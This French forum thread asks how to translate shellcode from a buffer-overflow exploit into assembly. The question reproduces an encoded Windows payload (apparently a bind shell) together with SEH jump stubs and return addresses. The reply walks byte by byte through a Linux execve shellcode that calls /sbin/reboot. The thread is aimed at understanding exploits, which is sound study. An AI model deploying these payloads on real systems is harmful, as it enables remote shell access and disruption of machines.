Conversion Code shell en c ou en assembleur

Fermé
karimparis75 Messages postés 1 Date d'inscription mercredi 16 juillet 2008 Statut Membre Dernière intervention 16 juillet 2008 - 16 juil. 2008 à 14:36
 smith_11 - 16 juin 2009 à 10:01
Bonjour,

J'ai voulu comprendre un code source en c d'un exploit qui lance un shell code lorsque un
buffer overflow se produit, j'ai voulu traduire le shellcode en assembleur ou en c mais j n'ai pas
trouve un moyen
voici le shell code si qlq un peut m'aider

====================================
char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
"\xF8\xFA\xFA\xFC\xE9\xED\x99";

char shelljump1[] = "\x90\xEB\xBA\x90";

char shelljump2[] =
"\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";

char SEHAddr1[] = "\x50\x39\x06\x6D";
char SEHAddr2[] = "\x0D\xA8\x03\x6D";
=====================================================

Cordialement
Karim
A voir également:

1 réponse

Même si je remonte ce topic c'est pour pouvoir éclairé d'autres personnes, qui cherche la même solution.


Je vais donné la solution "old school" sans utiliser de soft.
C'est possible de traduire ce shellcode mais c'est chiant !

Ce qu'il faudrait faire:

1) Connaitre l'os. (linux, windows, solaris, bsd ...)
2) Ensuite prendre chaques bytes et les traduire en asm...

exemple sous un os linux:
(extrait d'un shellcode de http://shell-storm.org/shellcode/ )

char shellcode[] = 
			"\x31\xc0"
			"\x50"
			"\x68\x62\x6f\x6f\x74"
			"\x68\x6e\x2f\x72\x65"
			"\x68\x2f\x73\x62\x69"
			"\x89\xe3"
			"\x50"
			"\x89\xe2"
			"\x53"
			"\x89\xe1"
			"\xb0\x0b"
			"\xcd\x80";


Comme on est sous un os linux on sait que \x31 est un xor et \xc0 est le registre eax ce qui ce traduit par

xor %eax,%eax


Le \x50 est le "push %eax"

Voilà le principe c'est ça.


			"\x31\xc0"                     => xor %eax,%eax
			"\x50"                           => push %eax
			"\x68\x62\x6f\x6f\x74"    => push <string>
			"\x68\x6e\x2f\x72\x65"   => push <string>
			"\x68\x2f\x73\x62\x69"   => push <string>
			"\x89\xe3"                     => mov %esp,%ebx
			"\x50"                           => push %eax
			"\x89\xe2"                     => mov %esp,%edx
			"\x53"                           => push %ebx
			"\x89\xe1"                     => mov %esp,%ecx
			"\xb0\x0b"                     => mov 11,%al
			"\xcd\x80"                     => int $0x80


L'avant dernière ligne on voit qu'on attribut le syscall 11 à eax soit l'appel système _execve().

Conclusion. En ayant l'os sur lequel va être executé le shellcode il est possible de traduire chaques bytes en asm.
Moi j'ai donné la façon "old school", mais je suis certain qu'il y a maintenant des programmes qui font ce genre de manipulation.

Cordialement,
0